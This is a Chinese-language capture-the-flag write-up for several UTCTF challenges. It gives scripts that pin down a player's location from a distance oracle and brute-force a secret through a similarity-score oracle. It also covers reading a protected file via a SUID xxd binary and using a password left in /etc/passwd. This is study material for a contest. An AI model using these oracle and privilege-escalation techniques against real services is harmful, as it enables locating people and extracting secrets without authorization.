Web
Number Champion
The number 1 player in this game, geopy hit 3000 elo last week. I want to figure out where they train to be the best.
Flag is the address of this player (according to google maps), in the following format all lowercase:
utflag{<street-address>-<city>-<zip-code>}
For example, if the address is 110 Inner Campus Drive, Austin, TX 78705, the flag would be utflag{110-inner-campus-drive-austin-78705}
By Samintell (@Samintell on discord)感覺有點抽象,來看看題目吧。
首先進來之後,可以看到題目會嘗試取得我們地理位置。

同意之後你可以配對對手然後跟他們 battle 數字大小。

但玩過幾輪過後會發現,你今天不管輸入多大,多奇怪的數字你都是必輸的。

感覺看不出甚麼東西,我們嘗試用 burp suite 看看有沒有特別的。
總共有這三個 route
- register
POST /register?lat=25.0353635&lon=121.5712388 HTTP/1.1Host: numberchamp-challenge.utctf.liveAccept: */*Accept-Language: en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7Content-Length: 0Origin: https://numberchamp-challenge.utctf.livePriority: u=1, iReferer: https://numberchamp-challenge.utctf.live/Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Connection: close- 測試一下,不管經緯度如何,給出來的都是不同的 uuid,然後初始分數都是 1000 分
{"elo":1000,"user":"Diorite Hummingbird 919","uuid":"5b0b00f0-6ed6-46c7-878d-343263dbcb75"}- match
這個了話會給你跟對手的 distance (實際距離)
POST /match?uuid=c5abc7ad-c2b4-43bd-bdb7-8f5dc0e465fa&lat=25.0353635&lon=121.5712388 HTTP/2Host: numberchamp-challenge.utctf.liveAccept: */*Accept-Language: en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7Content-Length: 0Origin: https://numberchamp-challenge.utctf.livePriority: u=1, iReferer: https://numberchamp-challenge.utctf.live/Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36{"distance":7825.89656037577,"elo":971,"user":"Schist Darter 701","uuid":"5dead638-9271-4c61-8b20-d4a2381f6483"}- battle
最後的話是指定兩個 uuid 互相對戰,但你必輸
POST /battle?uuid=c5abc7ad-c2b4-43bd-bdb7-8f5dc0e465fa&opponent=6663a74f-d6d3-465f-9b8b-e819cdad5a16&number=123 HTTP/2Host: numberchamp-challenge.utctf.liveAccept: */*Accept-Language: en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7Content-Length: 0Origin: https://numberchamp-challenge.utctf.livePriority: u=1, iReferer: https://numberchamp-challenge.utctf.live/Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36{"elo":960,"opponent_number":6028,"result":"loss"}看到這邊後,會去看看題述,可以知道我們要想辦法超過三千分。 但你有發現嗎,今天我們可以任意註冊帳號,又可以指定兩個人對戰。 我們是不是可以先指定一個帳號,然後開很多帳號輸給他,就可以拿到 3000 分了。
( 但我後來發現一件事就是我指定兩個相同的帳號刷更快 )
好,刷到 3000 分後我們回到 match 那邊看看
POST /match?uuid=5b0b00f0-6ed6-46c7-878d-343263dbcb75&lat=25.0353635&lon=121.5712388
{"distance":7689.855053589143,"elo":3000,"user":"geopy","uuid":"d0f627bc-ac15-4d45-8e08-73ee3b5fd06c"}- 給出目標的 distance 了! 這時候只要修改經緯度,找到
geopy這個人在那裡就好了!
我們先手動測試一個範圍,最後寫個二分搜就可以了!
import requests
def get_distance(lat, lon, uuid): url = f"https://numberchamp-challenge.utctf.live/match?uuid={uuid}&lat={lat}&lon={lon}" headers = { "Accept": "*/*", "Referer": "https://numberchamp-challenge.utctf.live/", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" } response = requests.post(url, headers=headers) if response.status_code == 200: return response.json().get("distance", float("inf")) return float("inf")
def find_best_coordinates(uuid, lat=40, lon=-83.5, step=0.1, max_iterations=100): best_lat, best_lon = lat, lon min_distance = get_distance(lat, lon, uuid)
for _ in range(max_iterations): for dlat in [-step, 0, step]: for dlon in [-step, 0, step]: new_lat, new_lon = best_lat + dlat, best_lon + dlon distance = get_distance(new_lat, new_lon, uuid) print(f"Trying lat: {new_lat}, lon: {new_lon} -> distance: {distance}")
if distance < min_distance: min_distance = distance best_lat, best_lon = new_lat, new_lon
if min_distance == 0: break
step /= 2
return best_lat, best_lon, min_distance
uuid = "bbea5a2e-2537-4c0f-a49d-33ccd046c038"lat, lon, distance = find_best_coordinates(uuid)print(f"Best coordinates: lat={lat}, lon={lon}, distance={distance}")腳本 AI 力量
最後把找到的經緯度拿去搜尋
Best coordinates: lat=39.940418395028665, lon=-82.99669527523196, distance=0.0
就是這間了!
utflag{1059-s-high-st-columbus-43206}
OTP
Find your One True Pairing on this new site I made! Whoever has the closest OTP to the "flag" will get their very own date!
This problem resets every 30 minutes.
By Sasha (@kyrili on discord)一樣是黑箱,我們先來看看功能。
- register
POST /index.php
username=123&password=123- 指定兩人配對分數
POST /index.php
username1=123&username2=321
---output---
The pairing for 123 and 321 is: 6- 搜尋全部人配對分數
POST /index.php
usernamesearch=flag
---output---flag x flag: 0az6_18539 x flag: 207az6_18529 x flag: 207az6_18530 x flag: 207az6_18531 x flag: 207az6_18532 x flag: 207az6_18518 x flag: 207az6_18519 x flag: 207az6_18520 x flag: 207az6_18521 x flag: 207az6_18522 x flag: 207az6_18523 x flag: 207az6_18524 x flag: 207az6_18551 x flag: 207123 x flag: 2274321 x flag: 2274然後真正的 flag 是 flag,在這邊都還看不出 flag 在哪。
一開始我以為要 sqli,但怎麼注入都不行,註冊那邊他甚至會跟你說:
Invalid user/secret combo. Usernames and secrets can only contain alphanumeric characters, underscore, and curly braces. Usernames must be 1-16 characters long and secrets must be 1-32 characters long.…等等,特殊字元,又有比對分數系統,我通靈出分數的計算條件可能是判斷兩個人的密碼夠不夠接近,若越接近分數則越小。(因為剛剛可以看出 flag x flag = 0)
這邊我通靈超久
馬上來實驗看看
username=soaruser1&password=utf // reg
soaruser1 x flag : 2051
username=soaruser2&password=utfl //reg
soaruser2 x flag : 1943
username=soarbutchardif&password=utfk //reg for ascii different
soarbutchardif x flag : 1950- 賓果,密碼越相近,分數越低。
繼續寫 python 來爆破。
import requestsimport randomimport stringfrom pwn import info
def generate_random_username(): try: username_length = random.randint(8, 16) valid_chars = string.ascii_letters + string.digits + "_{}" return ''.join(random.choices(valid_chars, k=username_length)) except Exception as e: print(f"Error in generate_random_username: {e}") return None
def register(username, password): url = 'http://challenge.utctf.live:3725/index.php' data = {'username': username, 'password': password}
try: response = requests.post(url, data=data, timeout=3) if f"Successfully registered {username}" in response.text: print(f"Successfully registered {username}") else: print(f"Registration failed for {username}") except requests.exceptions.Timeout: print(f"Timeout occurred during registration for {username}. Retrying...") return False except Exception as e: print(f"Error during registration for {username}: {e}") return False
return True
def compare_score(username1, username2): url = 'http://challenge.utctf.live:3725/index.php' data = {'username1': username1, 'username2': username2}
try: response = requests.post(url, data=data, timeout=2) if 'The pairing for' in response.text: score = int(response.text.split('The pairing for')[1].split('is:')[1].split('</p>')[0].strip()) return score except requests.exceptions.Timeout: print("Timeout occurred during score comparison. Retrying...") return None except Exception as e: print(f"Error during score comparison: {e}") return None
return None
def search(now_flag_state): valid_chars = string.ascii_letters + string.digits + "_{}" less_score = 100000 ans_char = ''
for i in valid_chars: try: print(f"Trying character: {i}") random_username = generate_random_username() if random_username is None: print("Error generating random username. Skipping iteration.") continue
register(random_username, now_flag_state + i) score = compare_score(random_username, 'flag') if score is None: print(f"Error comparing score for {random_username}. Skipping.") continue
print("[+]" + str(score)) if score < less_score: print(f"Found character: {i}, with score: {score}") less_score = score ans_char = i except Exception as e: print(f"Error in search iteration for character '{i}': {e}")
print(f"Ans: {ans_char}, with score: {less_score}")
search('utflag{On3_sT3P_4t_4_t1m3}')我這樣寫是因為他很長送到一半就 timeout,所以我一個一個送多跑幾次。
賽後解
Misc - Trapped in Plain Sight 1
一個 ssh 機器,讓你連上去
trapped@47ca6c33ca55:~$ ls -altotal 32dr-xr-xr-x 1 trapped trapped 4096 Mar 14 19:23 .dr-xr-xr-x 1 root root 4096 Mar 14 19:23 ..-r--r--r-- 1 trapped trapped 220 Feb 25 2020 .bash_logout-r--r--r-- 1 trapped trapped 3771 Feb 25 2020 .bashrc-r--r--r-- 1 trapped trapped 807 Feb 25 2020 .profile-r-x------ 1 noaccess noaccess 28 Mar 14 19:23 flag.txt恩沒權限? 那來看看有啥特別的 UID 我們可以用
trapped@47ca6c33ca55:~$ find / -perm -4000 -type f 2>/dev/null/usr/bin/passwd/usr/bin/chsh/usr/bin/su/usr/bin/chfn/usr/bin/mount/usr/bin/umount/usr/bin/newgrp/usr/bin/gpasswd/usr/bin/xxd/usr/lib/openssh/ssh-keysign/usr/lib/dbus-1.0/dbus-daemon-launch-helper好耶 xxd 直接讀檔
trapped@47ca6c33ca55:~$ xxd flag.txt00000000: 7574 666c 6167 7b53 7065 6369 614c 5f50 utflag{SpeciaL_P00000010: 6572 6d69 7373 696f 6e7a 7d0a ermissionz}.Misc - Trapped in Plain Sight 2
上一題的 revenge,進去後一樣先 ls -al 看看
trapped@30ea1b120183:~$ ls -altotal 36dr-xr-xr-x 1 trapped trapped 4096 Mar 14 19:23 .dr-xr-xr-x 1 root root 4096 Mar 14 19:23 ..-r--r--r-- 1 trapped trapped 220 Feb 25 2020 .bash_logout-r--r--r-- 1 trapped trapped 3771 Feb 25 2020 .bashrc-r--r--r-- 1 trapped trapped 807 Feb 25 2020 .profile----r-----+ 1 root root 28 Mar 14 19:23 flag.txt沒看過的 + 號,上網查一下,發現那是 ACL
ACL (Access Control List, 存取控制清單),這表示除了 rwx 權限之外,還有額外的權限設定。
那我們用 getfacl
trapped@30ea1b120183:~$ getfacl flag.txt# file: flag.txt# owner: root# group: rootuser::---user:secretuser:r--group::---mask::r--other::---可以看到有個 secretuser,來看看他的 /etc/passwd
trapped@30ea1b120183:~$ cat /etc/passwd | grep secretusersecretuser:x:1001:1001:hunter2:/home/secretuser:/bin/shhunter2 ? 那是啥? 通靈感覺是密碼…
trapped@30ea1b120183:~$ su secretuserPassword:$ lsflag.txt$ cat flag.txtutflag{4ccess_unc0ntroll3d}